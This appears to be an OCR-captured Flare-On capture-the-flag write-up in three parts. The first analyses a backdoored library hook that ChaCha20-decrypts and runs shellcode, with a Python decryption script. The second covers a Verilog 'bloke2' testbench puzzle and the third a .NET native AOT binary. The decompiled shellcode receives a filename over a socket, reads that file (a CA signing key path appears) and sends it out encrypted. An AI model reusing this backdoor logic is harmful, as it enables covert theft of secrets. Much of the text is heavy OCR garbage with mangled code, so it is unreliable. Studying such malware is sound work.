v1@ = dlsym(@LL, v3};
return ({__inte4 (_ fastcall *)({ QWORD, DWORD *, _ inte4, _ inted4, OQWORD)}vli®)(al, a2, a3, ad, a5};

PLH S Aps f e fsSs L %KY S| vPmS ~ 1% ~C X 1., &7 {.,3971x"

~ ~ ~ ~

100G S s U X4 w ox  Osymbols A o XIS v xqITEoop o 8 Jox %
DA 4ssOSIE of 17 e 4T AT SX U X c XA v $B YL
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s CIp s | X=A'|,<‘ZX % 20X ,,s'|"v-||_2“¢3x "\]d)i LS " s € LLY X% S ox o

-I\_"l_:‘_SS,,XS“ vvaq\.Aq)x:'ISV'I"I\;g:sxthE\-”’rod)tﬁunﬁgjk, X <

~ A ~

K"I'I‘SFLSQX s

1« X ChaCha0™ | XL s X 1 L% 14 1 T xTooxs™y oy {f 1% | x X fFF
Tt oS oL AxXIeM xst R 4 S gbellcod@* ¢ X 4 xT AL xE L X

>a

¥ G {7 xs

ChaCha_key init(vl4, a2 + 1, a2 + 9, BLL);

/12 = mmap(@LL, dword 7F4A18CBE3GE, 7, 34, -1, @LL);
shellcode = (woid (*)(void))memcpy(vl2, &unk_7F4A18CA9968, dword 7F4A18CB3360);
dec_or_enc{vl4, shellcode, dword 7F4A18CBB368);
shellcode();

ChaCha_key_init(vl4, a2 + 1, a2 + 9, 8LL);
dec_or_enc{vl4, shellcode, dword 7F4A18CBB368);
Lea rll, [rbp+24h]
Lea ril@, [rbp+s]

or eCx, ecx
Lea rls, [rsp+2eh]
o rdx, rll
mow rsi, rle
mow [Fsp+l28h+var_11e], rll
maow rdi, rils
mow [rsp+128h+var_118], rl@
kall ChaCha_key_init

Foloos sk d LS X s« D rhpt+0xR4rt xbp+4rt + 1 - noncet A - B CRRRTRE kR

> v >~

MH Y+ Xxrfonces | X p 4 0¥H - X XX $ 4ssX x s3sp {8 1KY q .

= oy s X s vdrament 47 vgddt - S L F I ¢ 4 gL ST XX Bl s~
Y *$ 1. <. Sghéllcodet : 1 17 «pd x4:%, IDAX { D« « XS

>

>~

Crypto.Cipher ChaCha20

enc_shellcode open( "enc_shellcode.raw” , "rb" ).read()

key

bytearray ([ 0x94, 0x3d, Oxf6 , 0x38, 0xa8, 0x18, 0x13, Oxe2, Oxde, 0x63, 0x18, Oxa5, 0x07, Oxf
9, 0xa0, Oxba, 0x2d, Oxbb, 0x8a, 0x7b, Oxa6, 0x36, 0x66, 0xd0, 0x8d, 0x11, Oxa6, Ox5e, 0xc9, Ox
14, 0xd6, Ox6f ])

nonce

bytearray ([ 0xf2 , 0x36, 0x83, 0x9f , 0x4d, Oxcd, 0x71, Ox1a, 0x52, 0x86, 0x29, 0x55])

cipher ChaCha20.new(key=key, nonce=nonce)

open("out" , "wb+") f:

10, 17X X IDAEX]T T x X sl L]

o~ >

L~ MDA~ ¥ _ » x XX yshellcodex 1+"x s * xr@w, B * s &~ x4 {1cdmx @ X~ o

>

shellcodet L s " XIsx @ v 1 X5X¥ § | ] HDOX » Jud -

~ >
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¥ x‘Axssvx i s " X{s”~$ 2 I >Sv1x\4”ﬂ”l s

__inted _ Tastcall Tunc_main()
1
unsigned int v@; // ebx
unsigned _ int64 v1; // kr2d 8
_ inte4 v2; J/ rex
BYTE v4[32]; [

_ [rbp-1278h] BYREF
char vS[272]; | [rbp-1258h] BYREF
char v6[4224]; [rbp-1148h] BYREF
unsigned int v7; // sp+15C4h] [rbp-C4h]

vl = sock_conn();
__asm
1
syscall; recvfrom key
syscall; recvfrom nonce
syscall; recvfrom filename_length
syscall; recvfrom filename_bytes
¥
vs[61] = B;
__asm
1
syscall; open that file
syscall; read that file
}
vl = strlen(ve) + 1;
u7 o= vl - 1
ChaCha_key_init(&vs[v1
ChaCha_enc(&vc[vl], v
__asm
1
syscall; sendto file_length
syscall; sendto file_bytes

va, v5, 8LL, @LL);

)

close fd{ve, v6, v7, w2, OLL, @LL); // closes to cleanup
shutdown_syscall(ve, vG, @LL); // shutdown syscall to cleanupl
return @LL;
}
X X xig] . 1S 0P % Do dnoncerl to L%« X AT L T A4

F1 X360 1% ) 5roAcet 12 | OrSH 4 1 d 4~ 3 830 9 x (0@ o7 g w ], ox X
G X ] ELPT bk, IXY corerte « 180

> <

Y ¢ x s S v A nox LS Asqd | 4 Nss" 1 L sl oV

v o~

mov rbp, rsp xor rad, rad
lea rsp, [rsp-1688h] xor r9d, ro9d
mov eax, GABPO2@BFh syscall ; recvfrom nonce
mov dx, 1337 lea rsi, [rbp-eCsh]
call sock_conn push 2Dh ; "-'
mov ebx, eax pop rax
lea rsi, [rbp-1278h] mov edi, ebx
o S

X pop rdx
mov edi, e?x' xor ried, rled
push 23“ 3 xor r8d, r8d
pop rdx
xor rled, rled xor rod, rod . :

syscall ; recvfrom filename_length
xor rdd, rad .
lea rsi, [rbp-1248h]

xor ro9d, r9d ush 20h : -
syscall ; recvfrom key P !
lea rsi, [rbp-1258h] pop rax
push h ; - mov edi, ebx
pop rax mov edx, [rbp+var_(38]
mov edi, ebx xor rled, rled
push ech xor r8d, réd
pop rdx xor r9d, rod
xor ried, ried syscall ; recvfrom filename_bytes
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F17 s 17 p8 T xxd base pointer ! X o 4 < x 1A SRS Xpeed " 87

X e 1, s Foersd 1S ] GREO6) - X ¥ Dshellcodet 1 T~ . T X LW 4§ X
XX opd e SE XK S L xS L4 ] X 8T A0S A gorert

® " coret | X XX XX« «Lbase pointem ! x -«

S LS, T TR HD X o m e T DX Fsed g 44 sy X

10 -8 ] ¥ 1 x xfilecextensions + 1« & X 1« o T A bl ooiss 1T s x

v o~

cored « Xr«¥L xs"¢ IDA: -~ SUcdrert . * x eatensions . Ufilenamest+ 4 « xx 7 x { ]

> v~ >

orert {4 X XS XX B p X, {5 *x

~ e

‘/root/certificate_authority signing_key.txt'

IDAT © * X 3D RF w90 v XIS3 s X xiad i+ . % gdbit GER _grep: | X s _p X

~> ~ o~

pov e X IO X S X X s T, T es® X o 4 ]sxE s o 2 gdbif ~ . X X

oSy sl L] hd T xR T X L X Lo sy .11 s

v o> ~ v ~ ~ > a

X e LS S8 X0 s e H D, RS T LTRSS, D X AP

~ >

®1{1dalstackk 1 ~ 1 -

Y | fdﬁ(NX . d yl” S L ] I”st¢<]x”vx§ i 1"

A

mowv r8, [rsp+128h+shellcode]
Hor eax, eax

call ra

mowv rll, [rsp+l28h+var_118]
mowv rl@, [rsp+l28h+var_118]
mow rdi, ril5s

Hor ecx, BCx

mow rdx, rll

mow rsi, rl@

call ChaCha_key_init

mowv rg, [rsp+l28h+shellcode]
movsxd rdx, cs:dword_7F4A13CBE360
mow rdi, ril5s

mow rsi, ré

call dec_or_enc

jmp loc_7F4A13C3FE7@

iy

® & (=

loc 7F4A13C8F370:
lea rsi, name 3 "RSA public decrypt

v

® 5 =

loc_7F4ALBCEFET7: ; handle
xor edi, edi

call _dlsym

mowv réd, ebx

mowv rcx, rild

mowv rdx, ril3

mowv rsi, rbp

mowv edi, rl2d

call rax
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XTG4S s, 88 4SS D Ggdot callraxs !X s gy 4 X7

~

1 x 7 4 ¥ x Jghéllcoder - + -~ xs<! x YcalbBs | x f "gspr _d ~ sl lpd oox

I-XNXXSL":SX" _I:”_I“"Xv;l'lvll_qZl_AXi-IS\.VX"IA”-F\.“ "va XLAH” SZ‘I " v|--| S

X7 rgpe ox T X Shexd x4 8 s X ] v X T8 X T S e X
Pl o4 sseox rbptd | x x sx X1 shellcodet | X 4 ¢ % o« XIS AXNX b L. X,

@ x4k Y w414, s

r8
return address
to r8 ( shellcode )

start

rbp

rbp, rsp

return addr

func_main ( func_main )
start

main
rbx
rsi
rdi
ri2
rbp
rbp, rsp

loading our values...

key at [rbp-1278h]

nonce at [ rbp-1258h]

filename at  [rbp - 1248h]

file_data at [ rbp - 1148h]
main

T e 31, pxXpeeS Iyl s s x J0ld "  ax py x4
10 ise 1¢"«s vy xxidf_uspre 1 7 shellcodet r x _ As x4 "sy 4 0% Fic n
drameld x :gdbrf rsp0x12780x40: * x x [ X « rlip-0x1278: * x 4 KX

P2 I IR I IS T I S I SCCIN P SRR SR B T S

FY o R st s X ¥YS G A A S d D x T AT 8 8 os

ML ST Ls{* s iise. .4« .gypand 3byte K+ X SChaCha0. _ x * L s

10 xS o X chrert | 4 xS 4 d S+ sy D« sE x i & 1 X shellcode
sq -

LT S e T NS S I TR, S e T Xt fxxqs

~ v ~

«x s 4.1 ChaCha0. _ *x *®m sx _ H 1uddm 4 4% 7 # L+ 11, IChaCha0
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s o7 D kisx s, eypand 32byte Kyt . 1 | ~xx_sBellcodet s " X1 _ _ekypand 32byte Ky
10 TR D94, 0 X xS xS s G sE o x s Y .

> A > ~ > v

® ¢ sx Xl D4 CH_ xdithubrfs " s sx 4. .

~

FAds il d ¥ X da s e s L oy 4% b 2 ] 4 28 L X8 s, 0] X
stream™ | %, %X 1T x ¥ 4 kKR {1 I x s TR ) X ] B $ . xse s LK
wo X e AEX st 08 P T e X s, 17 L blockr o 1M G s L

Y xsY Ips., x oz ¥ I 5 X o dAnFndn: « w@ s d X d kP

~

supply chaln_sund4y@flamn.com

Ll d ey sx Cus LY iy _backdoom s 1, " o~ 1S X S Y D SEH X K 41N

©x TE ¥ XX, B ~ S

A ~

b|0k82-4 o -|,;Y5: v S

Y X5 X « 4 1s*X 8% y I X%

- bloke2
|

You've been so helpful lately, and that was very good work you did. Yes, I'm
going to put it right here, on the refrigerator, very good job indeed. You're
the perfect person to help me with another issue that come up. One of our lab

researchers has mysteriously disappeared. He was working on the prototype for
a hashing IP block that worked very much like, but not identically to, the
common Blake2 hash family. Last we heard from him, he was working on the
testbenches for the unit. One of his labmates swears she knew of a secret
message that could be extracted with the testbenches, but she couldn't guite
recall how to trigger it. Maybe you could help?

Y i«Fd. X

| ] bloke2.v | ] bloke2s_tb.v ) f_unitv ) Makefile

| bloke2b.v ] data_mgr.v g.v ¥ README.md
[ bloke2b_tb.y [ ]f_sched. () g_over_2.v
| ) bloke2s.v | f_sched_tb.v g_unit.v

x v ¢+ 4 sVerilogr _ S

r”

XX x 1T {README L S~ 4 4 4 X XX 4.
PO PDX H ) A A X s IXd L x 4Isix 9516 s | x ]
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T rxsitss ] oA AR T4 K] Adu1lyx L« X X S|RBADME © vx X . SaXX

bloke2

One of our lab researchers has mysteriously disappeared. He was working on the
prototype for a hashing IP block that worked very much like, but not identically
to, the common Blake2 hash family. Last we heard from him, he was working on
the testbenches for the unit. One of his labmates swears she knew of a secret
message that could be extracted with the testbenches, but she couldn't quite
recall how to trigger it. Maybe you could help?

Details

This source code is written in the Verilog hardware description language. It is
written in the subset of SystemVerilog supported by the free and easily
available Icarus Verilog simulator (available under various package managers as
either “iverilog® or “icarus-verilog' ). It is not tested on, nor is it
guaranteed to run on, any other Verilog simulators (and in fact, I would not
recommend trying, as Icarus is... somewhat more permissive in some aspects than
a lot of commercial tooling).

The files can be built via GNU Make with the accompanying “Makefile ; simply

3ke” to build the total source and check for errors, or “make tests™ to build
and run the testbenches. If you don't have GNU Make, you should be able t
build it with “iverilog -g2012 <top_module> *. followed by “vvp a.out™ to
run the testbench. For example:

iverilog -g2012 -s f sched tb *.v

vvp a.out

You should be able to get to the answer by modifying testbenches alone, though

there are some helpful diagnostics inside some of the code files which you coulduncomment
if you want a look at what's going on inside. Brute-forcing won't

really help you here; some things have been changed from the true implementation

of Blake2 to discourage brute-force attempts.

Happy hardware hacking!

140 18] » & - x¥§ v:‘\‘: x I X e X ddeel %Y Do Bl xidk X L8 X

~ >
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localparam TEST_ VAL
512'h3c9cf0addf2e45ef548b011f736cc99144bdfee0d69df4090c8a39c520e18ec3bdcl277aad
1706f756affca41178dac066e4beb8ab7dd2d1402c4d624aaabe40;
reg[( W8)-1:0]h;
reg [ $clog2( W: 0] out_cnt;
assign data_out h[ 7: 0];
assign dv_out (out_cnt 0);
assign data_end (out_cnt 1);
always ((posedge clk)

(rst)

out_cnt 0;

$display( "%t dmgr dout oc %h" , $time, out_cnt);
(h_rdy)
$display( "%t dmgr dout h %h t %b" , Stime, h_in, tst);
out_cnt W
h h_in (TEST_VALE& {( W 16){tst}});
(out_cnt 0))
$display( "%t dmgr dout d %h dv %b de %b oc %h" , Stime, data_out,
dv_out, data_end, out_cnt);
out_cnt out_cnt 1;
h {8'b0, h[ W 8- 1: 8]};

endmodule

DXl Xl g8 T d v s SSES e T Lt 1 LSSy xs € s x S sy T 48! 7"«

®11wimaketests | x & «fF1 L ®x DX 7

FYT S 0% KX & o x {S X d o sSs X ss {8l Tousf o XY

Y x 7 {sph” s X | gd x s

(h_rdy) begin
$display ("%t dmgr dout h %h t %b" , $time, h_in, tst);

out_cnt <=W;
h<=h_in” (TEST_VAL & {(W*  16){tst}));

1o xt8tm - X ASPT 4 F 4@ 4 AXE A JreSs S aax X X7 x X LS s
A4 T ss b x P f\grlear T kW o x k4 cxoss oo s D 3 oxs 0ygs . 7 X
bitmaski . _ s & S er2d XJ . _Xtsta -«
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ctfs/flare/level6$ make tests
-0 f_sched.test.out f_sched.v f_sched_tbh.v
test.out
2 -o bloke2b.test.out bloke2.v f_sched.v f_unit.v g_over

dout h 3643e6e6054190369189e8ae8bd 9fd49b2 cdecde’c 2t 64526d3aa9b32e4dIac
b41da@981d637 t @
G ETT HE OF 0O
OONF GORE G " < GO0 | N o2 ' 9 Hf
8 dmgr dout h d d4deBe6554335e8778d97085cbBed524b70f 1adaa®e2b730ce92bd3a9210fd6752778adc697 1e48b5b3e
87916160f0f5d71bd18 t @

27b39f1688dbd0f419bcb4337328112bcfd230 t @
Rec (53 9000 09 Py € &0 &G 6F € ¢ c 90000 GE YN G A G0N

-0 bloke2s.test.out blok v T sched.v f unit.v g over 2.v g.v g unit.v data mgr.v bloke2s.v bloke2b.v blok

vvp blokeZs.test.out

@ dmgr dout h 2 b573de8c8c1032 d78337b8d70faa8dob|
R ved message: O 3 Gt OO0\ €p € 3xM

@ dmgr dout h 727€ € aa
Received message: N6 © © & & € GOR LU GE GV

@ dmgr dout h 62b5ce3f6@aa773f4fb 48c b8 aea262e361cd2402610fa4039dac
R ived message:

Gint G O 900 Y OB WG b

rm f_sched.test.out bloke2s.test.out bloke2b.test.out

Yoo Sss, x { XAl IMER 4 1S o8 44 ] e 9

h<=h_in A (TEST_VAL{(W*16){1'b1}}):

IS 184l 7S] o g® . xiias 4 4sIg] LB IS4 Dx B T

Y.|sn;‘x,’,"§\IL-|svv)Iss,,Lx-|~Z X s

> v

ed.test.out
-g2012 -o bloke2b.test.out bloke2.v f_sched.v f_unit.v g_over_2.v g.v g_unit.v data_mgr.v bloke2s.v bloke2b.v blok

vvp bloke2b.test.out
result

& LRl R R e e el el e el e e e e e e el e e el e T fe e e e e e Te e e leetete e feleReRe el e e Teele et foleeReRe e T Te Tedulelete e oo oo Re el T e latet el oo o e Re e e T Te e e e e e
Elelelelele e eTe ool el
Received message: X«4mB:V@OEL <! [/ &K
= 6k G O I Q0P OE G\ ©
(ETL S e oo Tefolo e TolefeToleleTofel e Tofeleefeleofelelofelelafelel ool ool oleleuTeleloleleoleleTelel oo el eTeTeTefele e Te e eTefeRel efeRel elefelelufel el el el felololelololefelole ool ToTe T To e T o e Tofe T Tefe e TeRe e Tc]

_unit.v data mgr.v bloke2s.v bloke2b.v blok

g9
06481 0D \F' & & 660 &

result: 200800000O00NOERAEAARAARRAERERACEACEAREAR0ER0AR0E00OE00EA0RD0RDED
Received message: .Tha2I{ eqe
@ 90905 U o)
result: BOOAGEACAAOAAOEAAEAAEAAEAAEAAEAEEACEACEAGEAROANOAEOAEOAOOADEADEA
R ved message: L# o9, . d 9@ 06b s OF & OE ¢ ©
rm f_sched.test.out bloke2s.test.out bloke2b.test.out

Yoo Tsev sl ¥4 st s 1D

please_send_help_i_am_trapped_in_a_ctf flag factory@ftareom
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o X dd)

testbench,

>,,:Y~:§SX_-_}(X_“”:QS(: 'II'"IXSI-X::‘}- \LXV'ZY:\L -||_~ X,
Sy X ] b x o b a4 s daTe F A LSy RSees 3OS x

@Y IXuT XY B S s A S ]
X I 4s X 1 s & XTsx ,, . q Y

XX drd 4 L L v s s s x Cygrilogt Xy kAL S Y L0 X

e Xosh X D e @ s TeedSe X 8 e, X0 Bk I A ], e

X X X6 % xpipke2b_th.v, X XX { _ _  pbke2b.yv, * X« X _ 'bbke2b

b, B4 d % 40 %Y - 74§ 4btbke2b* 1 I 53X « 40 XIs 1 x UE¥00 ~ 3 44 0L

bé@y/smalbx*

x® 1 « :bloke2s_thn X « { ¥ Yploke2s _ X . x

Twd b Frs LSty A ad 23T AT xdEEx 4417 s

1A pex bR L ! bloke2st ! x X hdsht ¢ - 1 . XA XE 4 s X

MON XS4 X X X 4 AsHp M Wi L | Bloke2b, X X MR xpsd X x X

T L8 T L o 1S S ux3X . Y I{sbloke2bX 4 J1.X_ 8 & y I . X

~ o~V v

D ooq D By isx DL ¥ w1« hloke2s¥ 4 s K D 4L LY Doas

dloke2b* 1 l..xs*

U sy 4T L8 g 4 xiTax Xs, . Xploke2b th.v, X XS . ¥ 0T w0 X

b:bs ~» x ©

PR XX

smakefilgs | X X4<iL, 4 XIS 5% S X X184 qsldy L. B { | X X

quke tbs I x o R s.qslL {x ! X 4 ~ASLLs. , v ankeZb.test

~

1AVE © TS eS| dexd, . x M e 4 % pDRe2* 1 ] X bloke2b* 4 | . s

clkd -~ st finishe 4 1¥. X % « K < _1 | déta_mgrf unite 1 * 4.1 -: % Hploke* {1 | . s

L X lIstater _

70 049 %4 U3, xdata mgrf unite 4 X b K T L Xx 1

~

Y i@ d, x4 MIsT v 4 ] s,

= bloke2v E3 I

localparam STATE_INIT=0;
localparam STATE_DATA=.;
localparam STATE_FINISH=Z;
localparam STATE_TEST=3;

integer state;
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tart, finishr 1 1 15 X7 X, xx €70 83 % X" X714 {9%41.

Hbioke2v 3 |
94 @ always @ (posedge clk) begin
95 if (rst)
96 state <= STATE_ INIT;
97 E else begin

// Defaults
=| case ({start, finish})

01 state <= STATE_DATA;

03 state <= STATE_FINISH;

state <= STATE_INIT;

state <= STATE_INIT;

F ' } } b I } b }

u endcase

STATE_FINISH:
if (start) begin
113 state <= STATE_INIT;
114 if (finish)
115 state <= STATE_TEST;
116 - end
117 - endcase
118 - end
119 = end

110 i case (state)

x 1" SOATE_TEST statem . 1 YHbloke™ 4 Jr XL ~¥4ss% v © 8 X1 %70 ., 7
» x %4 |ishrt=finishelr 1 1 ~I'{1STATE_TEST _ 14 YiSIdIHS « s s * 1 s+, 7
L 4% MEWSH - X _ 1 Y{s!state=STATE_FINISH 1 «4:44+_4 "X %« MAMPM MH X » X«

sthart=0Ortstart=1+ 1 1~ f ™ *4 41 + ~vo~ x 1 ¥isistart=0r 4 1 «47444_4 1 ¢

(SN I A R

LA A 1% s, xs@ s % 4 X7, 1 P x D *verjlogr T, XS, X ] ks X ox Dos
P X C T e A 140 I STATE TEST, 1 vislidd § x s € % 7 ]Iy 407 ¢ s

~ v

XS x L, CT  Fx LY mdno . x4 YA start=0 finiskklr 41 141 4% X s s

s MmMp~ x4 vi" skart=finiskelr 4 4 w2440 4 % VX <STATE_FINISH statert s 1 s ”
®TATE_TESTstatem | 1 .~ T x ., xs¢ 71 Fpx ¥ A

s LS _ X 40l J.STATE TEST statem 1 ¥™slis «i x = i f7 15 *

T I XSU Ao KD o Teeds* 4 X X Ll X s cstate

Tox oL d D oxxog S Tex kT finshigstartr 4 1 s T E X 7 T X% $ x ., bibke2
PY .S
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Y ox T AT Tx x < qdata_mgr A Jeeds X7 o xos e 1A T s .

a ~ ~

[= data_mar.v E1 |
64
65
[=] data_mar.v ml
72 always @ (posedge clk) begin
73 g if (rst) begin
74 out_cnt <= 0;
15 end else begin
76 //5display ("%t dmgr dout oc $h", 5time, out_cnt);
77 H if (h_rdy) begin
78 //5display ("%t dmgr dout h %h t %b", 3time, h in, tst);
7] out_cnt <= W;
80 h <= h in * (TEST VAL & {(W*.c){tst}});
81 end else if(ocut_cnt != 0) begin
82 //5display ("%t dmgr dout d %$h dv %b de %b oc %h",
Stime, data_ out, dv_out, data end, out cnt):
83 out_cnt <= out_cnt - 1;
84 h <= {8'00, h[W 2-1:51};
85 B end
86 - end

—_
-
¢

TG RS _F 4Tl XOrE 4L P XT X X S B % X X T s,

~ A~ ~ ~

T8 TS B x|, oS O sy L tox o plds 4 el H 4 o XS

o4 dexd c finisht oLowes_ 4o Tser X otsts Tl isX T A L s Ju X e YL
= data_mgr.v E3

44 E always @ (posedge clk) begin

45 = if {(rst | start) begin

4 m <= {MSG BITS{l1'k0}};

47 cnt <= {CNT_BITS{1'Ll}};

43 t <= {(W*Z){1"'0}};

45 f <= 1'b0;

tst €= finish;

I
[}

51 end else begin

52 H if (dv_in) begin

53 m[ {{(W-cnt)*2) +: £] <= data_in;

54 cnt <= next cnt[CNT BITS-1:0];

55 t <=t + .

56 £ <= finish;

1484t 2, X APl 4 3% , X C T X% L5 €81 8 0% H 184, 70X

. REfinishe 4 -~ isvi x 7 T3

a

S X XT X L, x © 1 bl b A ] s
qed Yy, x W d _ _7sxg X «5 4 ¢ In& finisht 4 ~» ss ., €3 F¥C 1T x,x ]
Poosed Do tFESfinishe (S stsep | % L, X OSTO X Il xq Yt s xS

1 p2X 2Txxq pooss opowsd T 4 S I v Al T, 6w ©xX] 0 x finish L

®s Sx . 5 ¢4 Mifinishe 4. isiox "

~
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FYe 44 S X L xsOXTIox e XD X T T, X O X oL X BT L X L XS

Do AskSs WL UTx . x €30 § o4 tFwm* ¢ § 4 Fadt=1x yst=10r ¥finish=1

D 1r X X

X Xy

o kst

_ bagsh_message _ = 1 . « &tart, fihishr 1 1 t4<1s.+ 1 blvke2b tb.v, * x « %

message& - S ~ 17 4 « « T "X 1S5 X b A X 1+ v »~ 1 phke2b* {1 1 ~ *

v oA~ >

xdps . x : «sq {bjoke2br | _ S x s 81 1% . poke2b* 1 i <Rashx ¢ 1 _ x

Yloke2b* 4 JiveB 4 L 18 % S5 « <7 X {Byoshashie: o« . ox L ox X

=] bloke2b_tb.v E3 |

&0 // Run a string through the hash machine.

el H task hash message (

62 input [10Z3:0] msg

63 " )i

64 integer i, len;

65 [H begin

66 E // Ugh, working around a bug in old Icarus Verilog 10.x which

&7 // prevents the use of proper strings here. Get the string

68 - // length because the string literal comes in backwards.

69 for (i = U; msg[o*i +: ©] 1= 0; i++); len = 1i;

70

71 // Bet our start and finish lines correctly.

72 start <= _"'bl;

73 finish <= 1'k0;

74 @ (posedge clk) ;

75 start <= 'k}

76 finish <= 1'k0;

78 /4 Wait until it signals readiness.

79 while (!din ready) @ (posedge clk);

=5

g X1 < x , x €1 satart=1% wst=1+ * 1 "x_fhishelr 4 1 T4,

X

A

r o~ fifish=Ortstart=21r 4 1 " «Is T3 x ., X €J1 14 A dexs1f s T3 6 X » x _ X

~

x " {4 .datamgr 1 Itst¥ " 0 Ml XSS § MEfinish: « X« fr e . x s

b x| plisc STl Ad st oA LS X %

~

S R ok

Yinish=11 o «isv X 1@ » X v 47
[~ bloke?b_thv E3

71 // Set our start and finish lines correctly.

72 start <= 'kl ;

73 finish <= 1'bl;

74 @ (posedge clk) ;

75 start <= _'I;

76 finish <= 1'k0;

78 // Wait until it signals readiness.

79 while (!din ready) @ (posedge clk);
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hash_message 1 « « 7 %« 45 «xsp o T« XY sy 4 *t@sthencht | * X «r 4 4~ _ X

Y abkhl L «wsx X 4 0.

A > > v

[+ eli@eli-ubuntu: ~/Desktop/flare/ch6

: S make b
iverilog -g2012 -o bloke2b.test.out bloke2.v f sched.v f unit.v g over_2.v g.v g _unit.v
data _mgr.v bloke2s.v bloke2b.v bloke2b tb.v
vvp bloke2b.test.out
Received message: wh+Ce
ofDeJeTheeleeePvesSe~\b'eebe' eBelee{*"o[eeeeeee0eKe

Received message: XemB:Veelec![/ewK'e_e(@<eQe\e
=¢.o0WoelZe00heeeBe?\ e
Received message: please_send_help_i_am_trapped_in_a_ctf_flag_factory@flare-on.com

rm bloke2b.test.out

A |

Y x sy | s

please_send_help_i_am_trapped_in_a_ctf flag_factory@ftareom

Fullspeedrd | 1 % ¥ s « s

THAM g _s X uls X X x Xo i d " W@ TS XX s E sy L B Y x|

X P WSTOS Y B s 1w J3d sl s Y0 s, X IxX U g v pdd xS kX

> v

RN
v

x 1xwd . « NET* LPE Native * ¥ J «is4 "¢ X 4«7 X NETY x s , ., s &7
10853755 1xS®  sxx% peapng, * A2 _METL 4. 44 1 X!

~

s X | e ¥ "oy X s S syl 9 Ty lxs . 49 . LT 0 X X B o SX S

TS s XX s ADAE X ¢ % < >|_”,_-| ~ SKHET X X ¥ss. , s & xx‘",~,L ST
L ox 7 x SDKE Sx «~ s, YIXST{ o 4. X 5. {Is Xsx  NET. Native
X oo o Ax X Alsxic ey o« { 5® . AGT¥ Ahead of Time Compilirigs ~ ~ ¥ NET

Justin-Timer | _ x &  CLR*_ ~» x X 44s{1d & T +MSlHm . | _ * & 44501 ¢ ¥ vl

~ v

XX TIxS L G ast K A Tl SEAR  d d  XT HIE S X T T XSS X .

L
@A L XX Y o 4% 434X o wl FXSTse Ll Tysqs s fAp sy

N

b_o*s 4 4.5« 11 1-APl Monitor : ~ ¢ DAY _*x<s 415 47"

° >

‘PO, < H %" Xpeapngt s~ x X 1 - 5 4 411 7 xs{WBeuncyCastle.Cryptography
D sl {lsq XD Ix]y s E o, |

~ v ~ ~
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https://learn.microsoft.com/en-us/dotnet/core/deploying/native-aot/?tabs=windows%2Cnet8
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¥ Isl« x™ maimt symbolst L+*~

”
.

int _ fastcall main(int argc, const char **argv, const char **envp)

1
int v5; // esi
if { !(unsigned __ int8)sub_l4esa3Bse(eisd, argv, envp) )
return -1;
vS = sub_14P@BC298( (LPCWSTR)sub_1481212F@);
if { !{unsigned _ int8)sub_l4@B88BE36(
e
(unsigned int)sub 148667080,
(unsigned int)sub_148138518 - (unsigned int)sub_l48867680,
(unsigned int)sub_l4e@s5BCa,
(unsigned int)sub_ 148866218 - (unsigned int)sub_l148865BCE,
(  intG4)off l4m2eCFee,
14} )
return -1;
sub_14@GFGEAR(
I".5J
(unsigned int)&unk_1481927B8,
{(Bunk_1481927C8 - Zunk 1481927B@) >> 3,
(unsigned int)off_14828CF68,
14%;
return sub 1481212F8((unsigned int)argc, argv);
1
YT X s LA Gl maimEs S fa . X U8 4T ox, XD LX, (st X s X
__inte4 _ fastcall sub_1481212F8(unsigned int al, _ int64 a2}
1
__inte4 v4; // rax
__int64 v5; // rax
__inte4 wve; // rcx
_inte4 v7; // rax
unsigned int v8; // ebx
_ inte4 vie[4]; // [rsp+28h] [rbp-2@h] BYREF
v1B[@] = @i64;
v1B[1] = @i64;
sub_14B886898 (v18);
w4 = sub_1408029B8(8unk_148161198);
#(_DWORD *)(v4 + 72) = -2146233088;
*(_QWORD *)(v4 + B8) = @ib4;
®( DWORD *)(wd + 72) = -2146233887;
#(_DWORD *)(v4 + 72) = -2147824382;
sub_148802BC8(qword_148238768 + 8, vi);
sub_14BBECF@a();
sub_148102028();
v5 = sub_148882988(&unk_148169D58) ;
sub_1488825C8(qword_148238970 + 24, v5);
sub_148100668();
sub_14B88F738B (a1, al);
qword_148239898 = sub_14R@F798@(&unk_148191CC8);
w6 = *( QWORD *)(sub_148@0205E() + 80);
if ( lue )
vE = sub_148BCFATA();
sub_1480DR348(vG, 1i64, 1i64);
sub_14@BFGEFER();
v7 = sub_148@F7458();
sub_14@1@8ACE(v7);
sub_14@BCFF48();
sub_14BBAFEER();
if ( *((_QWORD *)&qword 148158C38 - 1) )
sub_14@0011D8();
vE = gword_148158C38;
sub_1480061F8(v1a);
return vi;
}
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X « {1k sstepoverd D 4 Y Xk 1 41xs S v X 11 41 ss 44 Ik
x | % % 4s”__Jsub_140108ACTES " X 4% L S X 1 LSY X HS @t x|y

s s D e L funelx _ S oes Lox 4 DTl ad 4 et dsy 4 sxd4s. 4 x
TRl 4 XX gd .6

~ A

x 4 v ook osties 1 oXe ¥l o 0¥ L, ¥« X qll Stepoverd - 1 |
S 7 4 4™ X L fupck X AS 7 x s p s 4s, xP 4 funcy 1 | . X XX L x

YOF 4 oes.it T ifengge A4t X -

const struct sockaddr *vl1e; // rbx
SOCKET wil; // ril4
unsigned int v12; // cbx
DWORD LastError; // esi
int64 v15; // [rsp+@h] [rbp-D8h] BYREF
LPWSABUF 1pCalleeData; // [rsp+28h] [rbp-B8h]
LPQOS 1p5Q05; // [rsp+28h] [rbp-Béh]
LPQOS 1pGQOS; // [rsp+38h] [rbp-Ash]
_BYTE v19[44]; // [rsp+38h] [rbp-ABh] BYREF
LPWSABUF v2@; // [rsp+edh] [rbp-74h]
const struct sockaddr *v21; // [rsp+6Ch] [rbp-6Ch]
SOCKET w22; // [rsp+74h] [rbp-64h]
int v23; // [rsp+7Ch] [rbp-5Ch]
const struct sockaddr *vw24; // [rsp+88h] [rbp-58h]
_ int128 v25; // [rsp+88h] [rbp-58h]

w2
w25 = Bigd;

*( QWORD *)&v25 = alj
sub_7FF76ARMEGAR(a1, &v1S + 18);
B = *al;

wl@A=
vl

g

Vi1 = *(_QWORD *}(v25 + B);

SetLastEerr{@},
1pCalleeData = a5;

1p5005 = ab;

1pGQ0s = a7;

= wllj;

[l

= v18;

= ai;

= E'Iij
 7FF76A96303@({v19);

= WSAConnect(v22, w21, v23, v2@, lpCalleeData, lpsQ05, lpGQOs);
sub_7FF76A963D8@(v19);
LastError = GetlLastError();

= Bik4;

if { BYTEB(v25) )

zub ?FF?EA&4EEEB{ 25, BiBd);
*(_DWORD *)(sub_7FF7BA9G217A() + 138) = LastError;
return v12;

ST N
E kM PRI B2 P2
a O & =

;
[

1044w g ) iss 17s © oo (4 TS X ] s X F 4l 4] | {8 X s
